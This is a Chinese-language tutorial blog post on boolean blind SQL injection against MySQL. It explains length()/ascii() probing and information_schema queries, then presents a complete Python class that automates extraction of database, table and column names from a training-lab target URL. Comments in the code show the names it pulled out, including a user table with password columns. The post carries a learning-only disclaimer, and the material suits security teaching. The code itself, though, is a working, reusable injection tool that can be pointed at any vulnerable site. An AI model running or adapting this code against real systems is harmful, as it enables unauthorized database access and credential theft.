盲注的实现逻辑和python自动化注入的实现

声明:

1、此代码所用到的测试地址来自掌控者安全学院公开课靶机环境,如果有侵权请联系本人删除

2、本文中讲解的的注入原理及测试代码仅用于学习交流,禁止用于任何形式的网络攻击,对此产生的任何问题均与本文作者无关

首先我们需要了解下盲注的核心逻辑是,判断页面存在注入点,然后通过length函数和ascii函数不停测试查询内容的回显,以此来判断数据库表,字段的名称。

  • length函数判断查询内容的长度。
  • ascii函数将字符转换为ascii码。

盲注其实也有点穷举爆破的意思,所以需要大量的测试,盲注一般只需要手动判断一个注入点,然后使用工具进行测试。

盲注核心的sql语句。

1、数据库名称长度的判断。n为变量,通过不断变换n的值一次判断database()的长度

and length(database()) = n

2、数据库名称的判断。mysql中如果直接使用字符进行比较,mysql会自动进行隐式转换,但mysql的隐式转换存在问题;例如:a=a,a=A,都会判断为相等,_>a也会判断为成立等问题。所以稳妥期间建议使用ascii函数进行转换,使用数字进行比较。代码中我使用了二分法,通过二分法快速缩小匹配分外,然后再使用=值进行精准定位。最后将num再转换为字符。

and ascii((database())) <= num

and ascii((database())) = num

3、以上是最核心的判断逻辑,下文中的表名判断,列名判断只列出核心的sql语句,不做过多的分析解读(只列出子查询部分)。

  • 表名判断:

select table_name from information_schema.tables where table_schema=database() limit 0,1

  • 列表名判断,$table_name是一个变量,是上一步中获取到的表名。这里的表名是字符串,一定要加单引号或者双引号:

select column_name from information_schema.columns where table_schema=database() and table_name=’$table_name’ limit 0,1

以上是sql盲注的核心思路和命令,下面是具体的代码实现逻辑,相关逻辑已在代码中备注:

代码使用方法:

1、初始化一个mysqlmap的类,传入一个确认的注入点

2、调用get方法获取database,table,column的名称

备注:代码未实现完,后续待完善的功能。

1、实现一个多线程,一个sqlmap执行的,一个查询的

2、实现一个memorycache的功能,将扫描过的url缓存下来

3、补充一个具体字段的获取函数,这个时候写这个函数才有意义

4、后续还可以补充一个定位sql注入点的类,具体能力是快速获取网页上的输入点,然后解析出入参,尝试进行注入点判断,感觉有点偏bs4库的能力,解析html和定位其中元素

5、大致逻辑就是把快速扫描,注入点定位,sql注入,可能后续还会有漏洞渗透等。市面上有肯多类似的工具,我的构思是把这些工具全部联动起来,全自动化渗透。

import requestsimport timeheaders = {    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36 Edg/104.0.1293.47'}url = 'http://injectx1.lab.aqlab.cn/Pass-10/index.php?id=1'class MySqlmap:    def __init__(self,url):        self.url = url        self.tables = []        self.delay_time = 0.6    def _get_response(self, url, data: str = '有数据'):        """该函数用于判断页面回显是否正常,这里不像sqlmap那样会自动判断,这里需要用于输入用于        判断是否是正常回显的指"""        res = requests.get(url, headers)        if data in res.text:            return True        else:            return False    def _get_length(self,inject_sql:str):        """此方法用于获取库的长度,循环判断传入字串的长度。得到数值就返回数值,得到None则增加n的值继续匹配        最大匹配长度为20,如果长度20都无法匹配则返回0"""        n = 1        while n < 20:            inject_url = self.url + inject_sql.format(n)            time.sleep(self.delay_time)            print(inject_url)            if self._get_response(inject_url):                return n            else:                n += 1        else:            return 0    def _split_list(self, mylist: list):        """传入需要比较的数字范围,然后通过二分法不断缩小范围"""        step = int(len(mylist) / 2)        l_min = mylist[:step]        l_max = mylist[step:]        return list(l_min), list(l_max)    def _compare_char(self,                      sub_str,                      char_list: list = range(32, 128),                      index:int=1):        '''一定要注意递归中的返回值,很容易获取不到,需要靠全局变量和参数收集。在使用递归函数的地方要加return将递归函数的值返回        此函数是单字符的匹配,一次性只能判断一个字符的值,后期需要拼接才能得到对应字段的值。本段代码的核心思想是二分法,先快速缩小范围然后再        逐个进行匹配'''        time.sleep(self.delay_time)        if len(char_list) > 5:            #每次比较完都需要切割一下当前的列表,主要用于缩小范围            l_min, l_max = self._split_list(char_list)            #感觉这一句能拿出去处理,因为and前面需要传入不同的数据来闭合当前注入点,这地方的数据是一直在变的            sql = ' and ascii(substr(({}'.format(sub_str) + '),{},1)) {} {}'            print(sql)            inject_url = self.url + sql.format(index,'<=', l_min[-1])            print(inject_url)            #递归进行比较,如果小于当前比较的值,则传入小序号的列表进行处理,如果大于当前比较的值,则传入大序号序列进行处理            if self._get_response(inject_url):                return self._compare_char(sub_str, l_min, index)            else:                return self._compare_char(sub_str, l_max, index)        else:            #当序列中的数据小于等于5个就逐个进行比较,比对吻合后将匹配的数字传换成字符进行返回            for char in char_list:                sql = ' and ascii(substr(({}'.format(sub_str) + '),{},1)) {} {}'                inject_url = self.url + sql.format(index,'=', char)                print(inject_url)                if self._get_response(inject_url):                    print(chr(char))                    return chr(char)    def _get_name(self,sub_str,length:int):        """获取所有字串的内容,需要先计算好字串的长度"""        name = '' #定义一个空串,后面用它来拼接生成的查询内容名称        for index in range(1, length + 1):            name += self._compare_char(sub_str,index=index)        print(name)        return name    def _get_tables_length(self,n:int=0):        """tables的判断逻辑是先获取table的长度,然后再获取table的名称。        单表名长度判断,判断成功后就写入tables列表中,通过递归的方式继续查找"""        sub_str = self._format_sub(89,table_index=n) #格式化传入的字串        sql_tb_length = ' and length(({}))'.format(sub_str) + ' = {}'        length = self._get_length(sql_tb_length)        '''因为_get_length函数在查询不到的逻辑下才会返回0,所以只要结果大于零就证明存在table,然后递归继续判断,        等_get_length返回0时则结束递归'''        if length > 0:            self.tables.append(length)            self._get_tables_length(n+1)    def get_tables_name(self):        self._get_tables_length() #该函数会递归将所有的标长度进行计算        print(self.tables)        for table_index in range(len(self.tables)): #此时读取到的table_name都是长度值            # 有长度后就逐个就算table的名字,并重新赋值给table_name,赋值内容是一个Table对象            sub_str = self._format_sub(89,table_index=table_index)            """默认tables中储存的时table的长度,这里的逻辑时将tables中的内容重新复制成table对象,因为table中还有列,            为了方便后续处理数据,单独将table也整理成了一个类"""            self.tables[table_index] = Table(self._get_name(sub_str,self.tables[table_index]))        print(self.tables)    def _get_columns_length(self,index:int=0,n:int=0):        """该函数也使用了递归的方式进行求值,默认从第一个表的第一列开始计算,个人觉得这里很绕。"""        if index < len(self.tables): #索引从0开始,所以这里要小于len()后的值就会停止递归            sub_str = self._format_sub(1, table_index=index, column_index=n)            sql_cl_length = ' and length(({}))'.format(sub_str) + ' = {}'            length = self._get_length(sql_cl_length)            #这里时递归的核心            if length > 0:                self.tables[index].items.append(length)                #第一个表请列的长度                self._get_columns_length(index, n + 1)            elif length == 0:                #第一个表的列返回0时证明第一个表没有列了,然后列的索引+1,单列的索引归0,继续开始递归,随后通过tables长度比较结束总递归                self._get_columns_length(index + 1)        else:            print('列名读取完毕')            print(self.tables)    def get_columns_name(self):        """获取列的名字"""        self.get_tables_name() #需要先获取表名才能继续        self._get_columns_length() #该函数会递归将所有表中的列的长度进行计算        for table_index in range(len(self.tables)): #从表中循环获取表名            for column_index in range(len(self.tables[table_index].items)): #从表中循环获取列名                sub_str = self._format_sub(1,table_index=table_index,column_index=column_index)                #重新给各个表中各个列进行赋值                self.tables[table_index].items[column_index] = self._get_name(sub_str,self.tables[table_index].items[column_index])        print(self.tables)    def _format_sub(self,sub_length:int=1,table_index:int=0,column_index:int=0):        if sub_length == 10:            sub_str = 'database()'        elif sub_length == 89:            sub_str= 'select table_name from information_schema.tables where table_schema=database() limit {},1'.format(table_index)        else:            sub_str = ' select column_name from information_schema.columns where table_schema=database() and ' \                     'table_name=\'{}\' limit {},1'.format(self.tables[table_index].name,column_index)        return sub_str    def get_db_name(self):        """获取DB的名称,为了体现python的优雅我尝试对传入的字串进行了封装,通过字符串的长度判断传入的字串"""        sub_str = self._format_sub(10)        sql_db_length = ' and length({})'.format(sub_str) + ' = {}'        length = self._get_length(sql_db_length)        self.database_name = self._get_name(sub_str, length)class Table:    """table类很简单,名字就是table的名字,items用于储存其中的列"""    def __init__(self,name):        self.name = name        self.items = []    def __repr__(self):        return '<{}->{}>'.format(self.name,self.items)s = MySqlmap(url)#kanwolongxia,# s.get_db_name()#loflag,news,user# s.get_tables_name()# #[['Id', 'flaglo']>, ['Id', 'news']>, ['Id', 'username', 'password']>]# s.get_columns_name()

发表评论
留言与评论(共有 0 条评论) “”
   
验证码:

相关文章

推荐文章